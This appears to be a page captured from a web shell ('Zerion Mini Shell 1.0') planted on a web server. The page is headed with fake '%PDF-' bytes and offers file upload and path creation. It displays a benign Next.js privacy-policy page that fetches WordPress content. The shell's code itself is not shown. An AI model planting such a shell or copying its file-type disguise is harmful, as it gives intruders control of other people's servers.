%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/pages/privacy-policy/
Upload File :
Create Path :
Current File : /var/www/html/pages/privacy-policy/index.js

import Contact from "../../src/Components/Contact";
import CustomHead from "../../src/Components/Global/CustomHead";
import parse from "html-react-parser";

function PrivacyPolicy({ data, title, seo }) {
  return (
    <>
      <CustomHead data={seo} />
      <div className="privacyPolicy">
        <h2>{title}</h2>

        <>{parse(data)}</>
      </div>
      <Contact />
    </>
  );
}

export default PrivacyPolicy;

export async function getServerSideProps(ctx) {
  const res = await fetch(
    `https://api.atvbuggy-dubrovnik.com/wp-json/wp/v2/pages?slug=privacy-policy`
  )
    .then((response) => response.json())
    .then((data) => data);

  if (!res) {
    return {
      notFound: true,
    };
  }

  return {
    props: {
      data: res[0].content.rendered,
      title: res[0].title.rendered,
      seo: res[0].yoast_head_json,
    },
  };
}

Zerion Mini Shell 1.0